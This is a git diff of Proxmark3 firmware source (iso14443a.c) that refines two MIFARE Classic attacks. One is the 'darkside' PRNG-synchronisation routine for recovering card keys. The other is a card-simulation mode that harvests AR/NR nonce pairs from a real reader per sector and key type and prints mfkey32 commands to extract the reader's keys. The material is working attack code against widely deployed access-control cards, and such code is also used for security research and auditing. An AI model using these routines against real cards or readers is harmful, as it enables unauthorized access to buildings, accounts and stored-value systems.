]> git.zerfleddert.de Git - proxmark3-svn/blobdiff - armsrc/iso14443a.c
improve hf mf sim x reader attack
[proxmark3-svn] / armsrc / iso14443a.c
index a4e5ceaf1ece9ea5bc57eeade9c2ed77aa1ccc5e..4f0a990f3df68276fdd38ccea44c2ef5dda250c3 100644 (file)
@@ -1070,7 +1070,6 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd, byte_t* data)
        LED_A_ON();
        for(;;) {
                // Clean receive command buffer
-               
                if(!GetIso14443aCommandFromReader(receivedCmd, receivedCmdPar, &len)) {
                        DbpString("Button press");
                        break;
@@ -2056,19 +2055,20 @@ void ReaderMifare(bool first_try)
        byte_t par_list[8] = {0x00};
        byte_t ks_list[8] = {0x00};
 
+       #define PRNG_SEQUENCE_LENGTH  (1 << 16);
        static uint32_t sync_time;
-       static uint32_t sync_cycles;
+       static int32_t sync_cycles;
        int catch_up_cycles = 0;
        int last_catch_up = 0;
+       uint16_t elapsed_prng_sequences;
        uint16_t consecutive_resyncs = 0;
        int isOK = 0;
 
        if (first_try) { 
                mf_nr_ar3 = 0;
                sync_time = GetCountSspClk() & 0xfffffff8;
-               sync_cycles = 65536;                                                                    // theory: Mifare Classic's random generator repeats every 2^16 cycles (and so do the nonces).
+               sync_cycles = PRNG_SEQUENCE_LENGTH;                                                     // theory: Mifare Classic's random generator repeats every 2^16 cycles (and so do the tag nonces).
                nt_attacked = 0;
-               nt = 0;
                par[0] = 0;
        }
        else {
@@ -2083,8 +2083,17 @@ void ReaderMifare(bool first_try)
        LED_C_OFF();
        
 
-       #define DARKSIDE_MAX_TRIES      32              // number of tries to sync on PRNG cycle. Then give up.
-       uint16_t unsuccessfull_tries = 0;
+       #define MAX_UNEXPECTED_RANDOM   4               // maximum number of unexpected (i.e. real) random numbers when trying to sync. Then give up.
+       #define MAX_SYNC_TRIES                  32
+       #define NUM_DEBUG_INFOS                 8               // per strategy
+       #define MAX_STRATEGY                    3
+       uint16_t unexpected_random = 0;
+       uint16_t sync_tries = 0;
+       int16_t debug_info_nr = -1;
+       uint16_t strategy = 0;
+       int32_t debug_info[MAX_STRATEGY][NUM_DEBUG_INFOS];
+       uint32_t select_time;
+       uint32_t halt_time;
        
        for(uint16_t i = 0; TRUE; i++) {
                
@@ -2097,21 +2106,60 @@ void ReaderMifare(bool first_try)
                        break;
                }
                
+               if (strategy == 2) {
+                       // test with additional hlt command
+                       halt_time = 0;
+                       int len = mifare_sendcmd_short(NULL, false, 0x50, 0x00, receivedAnswer, receivedAnswerPar, &halt_time);
+                       if (len && MF_DBGLEVEL >= 3) {
+                               Dbprintf("Unexpected response of %d bytes to hlt command (additional debugging).", len);
+                       }
+               }
+
+               if (strategy == 3) {
+                       // test with FPGA power off/on
+                       FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+                       SpinDelay(200);
+                       iso14443a_setup(FPGA_HF_ISO14443A_READER_MOD);
+                       SpinDelay(100);
+               }
+               
                if(!iso14443a_select_card(uid, NULL, &cuid)) {
                        if (MF_DBGLEVEL >= 1)   Dbprintf("Mifare: Can't select card");
                        continue;
                }
+               select_time = GetCountSspClk();
 
-               sync_time = (sync_time & 0xfffffff8) + sync_cycles + catch_up_cycles;
-               catch_up_cycles = 0;
+               elapsed_prng_sequences = 1;
+               if (debug_info_nr == -1) {
+                       sync_time = (sync_time & 0xfffffff8) + sync_cycles + catch_up_cycles;
+                       catch_up_cycles = 0;
 
-               // if we missed the sync time already, advance to the next nonce repeat
-               while(GetCountSspClk() > sync_time) {
-                       sync_time = (sync_time & 0xfffffff8) + sync_cycles;
-               }
+                       // if we missed the sync time already, advance to the next nonce repeat
+                       while(GetCountSspClk() > sync_time) {
+                               elapsed_prng_sequences++;
+                               sync_time = (sync_time & 0xfffffff8) + sync_cycles;
+                       }
 
-               // Transmit MIFARE_CLASSIC_AUTH at synctime. Should result in returning the same tag nonce (== nt_attacked) 
-               ReaderTransmit(mf_auth, sizeof(mf_auth), &sync_time);
+                       // Transmit MIFARE_CLASSIC_AUTH at synctime. Should result in returning the same tag nonce (== nt_attacked) 
+                       ReaderTransmit(mf_auth, sizeof(mf_auth), &sync_time);
+               } else {
+                       // collect some information on tag nonces for debugging:
+                       #define DEBUG_FIXED_SYNC_CYCLES PRNG_SEQUENCE_LENGTH
+                       if (strategy == 0) {
+                               // nonce distances at fixed time after card select:
+                               sync_time = select_time + DEBUG_FIXED_SYNC_CYCLES;
+                       } else if (strategy == 1) {
+                               // nonce distances at fixed time between authentications:
+                               sync_time = sync_time + DEBUG_FIXED_SYNC_CYCLES;
+                       } else if (strategy == 2) {
+                               // nonce distances at fixed time after halt:
+                               sync_time = halt_time + DEBUG_FIXED_SYNC_CYCLES;
+                       } else {
+                               // nonce_distances at fixed time after power on
+                               sync_time = DEBUG_FIXED_SYNC_CYCLES;
+                       }
+                       ReaderTransmit(mf_auth, sizeof(mf_auth), &sync_time);
+               }                       
 
                // Receive the (4 Byte) "random" nonce
                if (!ReaderReceive(receivedAnswer, receivedAnswerPar)) {
@@ -2129,19 +2177,37 @@ void ReaderMifare(bool first_try)
                        int nt_distance = dist_nt(previous_nt, nt);
                        if (nt_distance == 0) {
                                nt_attacked = nt;
-                       }
-                       else {
+                       } else {
                                if (nt_distance == -99999) { // invalid nonce received
-                                       unsuccessfull_tries++;
-                                       if (!nt_attacked && unsuccessfull_tries > DARKSIDE_MAX_TRIES) {
+                                       unexpected_random++;
+                                       if (unexpected_random > MAX_UNEXPECTED_RANDOM) {
                                                isOK = -3;              // Card has an unpredictable PRNG. Give up      
                                                break;
                                        } else {
                                                continue;               // continue trying...
                                        }
                                }
-                               sync_cycles = (sync_cycles - nt_distance);
-                               if (MF_DBGLEVEL >= 3) Dbprintf("calibrating in cycle %d. nt_distance=%d, Sync_cycles: %d\n", i, nt_distance, sync_cycles);
+                               if (++sync_tries > MAX_SYNC_TRIES) {
+                                       if (strategy > MAX_STRATEGY || MF_DBGLEVEL < 3) {
+                                               isOK = -4;                      // Card's PRNG runs at an unexpected frequency or resets unexpectedly
+                                               break;
+                                       } else {                                // continue for a while, just to collect some debug info
+                                               debug_info[strategy][debug_info_nr] = nt_distance;
+                                               debug_info_nr++;
+                                               if (debug_info_nr == NUM_DEBUG_INFOS) {
+                                                       strategy++;
+                                                       debug_info_nr = 0;
+                                               }
+                                               continue;
+                                       }
+                               }
+                               sync_cycles = (sync_cycles - nt_distance/elapsed_prng_sequences);
+                               if (sync_cycles <= 0) {
+                                       sync_cycles += PRNG_SEQUENCE_LENGTH;
+                               }
+                               if (MF_DBGLEVEL >= 3) {
+                                       Dbprintf("calibrating in cycle %d. nt_distance=%d, elapsed_prng_sequences=%d, new sync_cycles: %d\n", i, nt_distance, elapsed_prng_sequences, sync_cycles);
+                               }
                                continue;
                        }
                }
@@ -2152,6 +2218,7 @@ void ReaderMifare(bool first_try)
                                catch_up_cycles = 0;
                                continue;
                        }
+                       catch_up_cycles /= elapsed_prng_sequences;
                        if (catch_up_cycles == last_catch_up) {
                                consecutive_resyncs++;
                        }
@@ -2165,6 +2232,9 @@ void ReaderMifare(bool first_try)
                        else {  
                                sync_cycles = sync_cycles + catch_up_cycles;
                                if (MF_DBGLEVEL >= 3) Dbprintf("Lost sync in cycle %d for the fourth time consecutively (nt_distance = %d). Adjusting sync_cycles to %d.\n", i, -catch_up_cycles, sync_cycles);
+                               last_catch_up = 0;
+                               catch_up_cycles = 0;
+                               consecutive_resyncs = 0;
                        }
                        continue;
                }
@@ -2172,12 +2242,10 @@ void ReaderMifare(bool first_try)
                consecutive_resyncs = 0;
                
                // Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding
-               if (ReaderReceive(receivedAnswer, receivedAnswerPar))
-               {
+               if (ReaderReceive(receivedAnswer, receivedAnswerPar)) {
                        catch_up_cycles = 8;    // the PRNG is delayed by 8 cycles due to the NAC (4Bits = 0x05 encrypted) transfer
        
-                       if (nt_diff == 0)
-                       {
+                       if (nt_diff == 0) {
                                par_low = par[0] & 0xE0; // there is no need to check all parities for other nt_diff. Parity Bits for mf_nr_ar[0..2] won't change
                        }
 
@@ -2212,6 +2280,16 @@ void ReaderMifare(bool first_try)
 
 
        mf_nr_ar[3] &= 0x1F;
+
+       if (isOK == -4) {
+               if (MF_DBGLEVEL >= 3) {
+                       for (uint16_t i = 0; i <= MAX_STRATEGY; i++) {
+                               for(uint16_t j = 0; j < NUM_DEBUG_INFOS; j++) {
+                                       Dbprintf("collected debug info[%d][%d] = %d", i, j, debug_info[i][j]);
+                               }
+                       }
+               }
+       }
        
        byte_t buf[28];
        memcpy(buf + 0,  uid, 4);
@@ -2229,6 +2307,18 @@ void ReaderMifare(bool first_try)
        set_tracing(FALSE);
 }
 
+typedef struct {
+  uint32_t cuid;
+  uint8_t  sector;
+  uint8_t  keytype;
+  uint32_t nonce;
+  uint32_t ar;
+  uint32_t nr;
+  uint32_t nonce2;
+  uint32_t ar2;
+  uint32_t nr2;
+} nonces_t;
+
 /**
   *MIFARE 1K simulate.
   *
@@ -2275,12 +2365,18 @@ void Mifare1ksim(uint8_t flags, uint8_t exitAfterNReads, uint8_t arg2, uint8_t *
        uint8_t rAUTH_NT[] = {0x01, 0x02, 0x03, 0x04};
        uint8_t rAUTH_AT[] = {0x00, 0x00, 0x00, 0x00};
                
-       //Here, we collect UID,NT,AR,NR,UID2,NT2,AR2,NR2
+       //Here, we collect UID,sector,keytype,NT,AR,NR,NT2,AR2,NR2
        // This can be used in a reader-only attack.
        // (it can also be retrieved via 'hf 14a list', but hey...
-       uint32_t ar_nr_responses[] = {0,0,0,0,0,0,0,0};
-       uint8_t ar_nr_collected = 0;
-
+       
+       //allow collecting up to 4 sets of nonces to allow recovery of 4 keys (2 keyA & 2 keyB)
+       // must be set in multiples of 2 (for 1 keyA and 1 keyB)
+       #define ATTACK_KEY_COUNT 4
+       nonces_t ar_nr_resp[ATTACK_KEY_COUNT]; 
+       memset(ar_nr_resp, 0x00, sizeof(ar_nr_resp));
+
+       uint8_t ar_nr_collected[ATTACK_KEY_COUNT];
+       memset(ar_nr_collected, 0x00, sizeof(ar_nr_collected));
        // Authenticate response - nonce
        uint32_t nonce = bytes_to_num(rAUTH_NT, 4);
        
@@ -2428,16 +2524,35 @@ void Mifare1ksim(uint8_t flags, uint8_t exitAfterNReads, uint8_t arg2, uint8_t *
 
                                uint32_t ar = bytes_to_num(receivedCmd, 4);
                                uint32_t nr = bytes_to_num(&receivedCmd[4], 4);
-
-                               //Collect AR/NR
-                               if(ar_nr_collected < 2){
-                                       if(ar_nr_responses[2] != ar)
-                                       {// Avoid duplicates... probably not necessary, ar should vary. 
-                                               ar_nr_responses[ar_nr_collected*4] = cuid;
-                                               ar_nr_responses[ar_nr_collected*4+1] = nonce;
-                                               ar_nr_responses[ar_nr_collected*4+2] = ar;
-                                               ar_nr_responses[ar_nr_collected*4+3] = nr;
-                                               ar_nr_collected++;
+       
+                               //Collect AR/NR per key/sector
+                               if(flags & FLAG_NR_AR_ATTACK) {
+                                       for (uint8_t i = 0; i < ATTACK_KEY_COUNT; i++) {
+                                               if(cardAUTHKEY > 0 && i < (ATTACK_KEY_COUNT/2) ) {
+                                                       i=ATTACK_KEY_COUNT/2;  //keyB skip to keyB
+                                               } else if (cardAUTHKEY == 0 && i == ATTACK_KEY_COUNT/2) {
+                                                       break; //should not get here - quit
+                                               }
+                                               // if first auth for sector, or matches sector of previous auth
+                                               if ( ar_nr_collected[i]==0 || (cardAUTHSC == ar_nr_resp[i].sector && ar_nr_collected[i] > 0) ) {
+                                                       if(ar_nr_collected[i] < 2) {
+                                                               if(ar_nr_resp[ar_nr_collected[i]].ar != ar)
+                                                               {// Avoid duplicates... probably not necessary, ar should vary. 
+                                                                       if (ar_nr_collected[i]==0) {
+                                                                               ar_nr_resp[i].cuid = cuid;
+                                                                               ar_nr_resp[i].sector = cardAUTHSC;
+                                                                               ar_nr_resp[i].nonce = nonce;
+                                                                               ar_nr_resp[i].ar = ar;
+                                                                               ar_nr_resp[i].nr = nr;
+                                                                       } else {
+                                                                               ar_nr_resp[i].ar2 = ar;
+                                                                               ar_nr_resp[i].nr2 = nr;
+                                                                       }
+                                                                       ar_nr_collected[i]++;
+                                                                       break;
+                                                               }
+                                                       }
+                                               }
                                        }
                                }
 
@@ -2459,6 +2574,7 @@ void Mifare1ksim(uint8_t flags, uint8_t exitAfterNReads, uint8_t arg2, uint8_t *
                                        break;
                                }
 
+                               //auth successful
                                ans = prng_successor(nonce, 96) ^ crypto1_word(pcs, 0, 0);
 
                                num_to_bytes(ans, 4, rAUTH_AT);
@@ -2702,37 +2818,29 @@ void Mifare1ksim(uint8_t flags, uint8_t exitAfterNReads, uint8_t arg2, uint8_t *
        FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
        LEDsoff();
 
-       if(flags & FLAG_INTERACTIVE)// Interactive mode flag, means we need to send ACK
+       if(flags & FLAG_NR_AR_ATTACK && MF_DBGLEVEL >= 1)
        {
-               //May just aswell send the collected ar_nr in the response aswell
-               cmd_send(CMD_ACK,CMD_SIMULATE_MIFARE_CARD,0,0,&ar_nr_responses,ar_nr_collected*4*4);
-       }
-
-       if(flags & FLAG_NR_AR_ATTACK)
-       {
-               if(ar_nr_collected > 1) {
-                       Dbprintf("Collected two pairs of AR/NR which can be used to extract keys from reader:");
-                       Dbprintf("../tools/mfkey/mfkey32 %08x %08x %08x %08x %08x %08x",
-                                       ar_nr_responses[0], // UID
-                                       ar_nr_responses[1], //NT
-                                       ar_nr_responses[2], //AR1
-                                       ar_nr_responses[3], //NR1
-                                       ar_nr_responses[6], //AR2
-                                       ar_nr_responses[7] //NR2
-                                       );
-               } else {
-                       Dbprintf("Failed to obtain two AR/NR pairs!");
-                       if(ar_nr_collected >0) {
-                               Dbprintf("Only got these: UID=%08x, nonce=%08x, AR1=%08x, NR1=%08x",
-                                               ar_nr_responses[0], // UID
-                                               ar_nr_responses[1], //NT
-                                               ar_nr_responses[2], //AR1
-                                               ar_nr_responses[3] //NR1
+               for ( uint8_t   i = 0; i < ATTACK_KEY_COUNT; i++) {
+                       if (ar_nr_collected[i] == 2) {
+                               Dbprintf("Collected two pairs of AR/NR which can be used to extract %s from reader for sector %d:", (i<ATTACK_KEY_COUNT/2) ? "keyA" : "keyB", ar_nr_resp[i].sector);
+                               Dbprintf("../tools/mfkey/mfkey32 %08x %08x %08x %08x %08x %08x",
+                                               ar_nr_resp[i].cuid,  //UID
+                                               ar_nr_resp[i].nonce, //NT
+                                               ar_nr_resp[i].ar,    //AR1
+                                               ar_nr_resp[i].nr,    //NR1
+                                               ar_nr_resp[i].ar2,   //AR2
+                                               ar_nr_resp[i].nr2    //NR2
                                                );
                        }
-               }
+               }       
        }
        if (MF_DBGLEVEL >= 1)   Dbprintf("Emulator stopped. Tracing: %d  trace length: %d ",    tracing, BigBuf_get_traceLen());
+
+       if(flags & FLAG_INTERACTIVE)// Interactive mode flag, means we need to send ACK
+       {
+               //May just aswell send the collected ar_nr in the response aswell
+               cmd_send(CMD_ACK,CMD_SIMULATE_MIFARE_CARD,0,0,&ar_nr_resp,sizeof(ar_nr_resp));
+       }
        
 }
 
Impressum, Datenschutz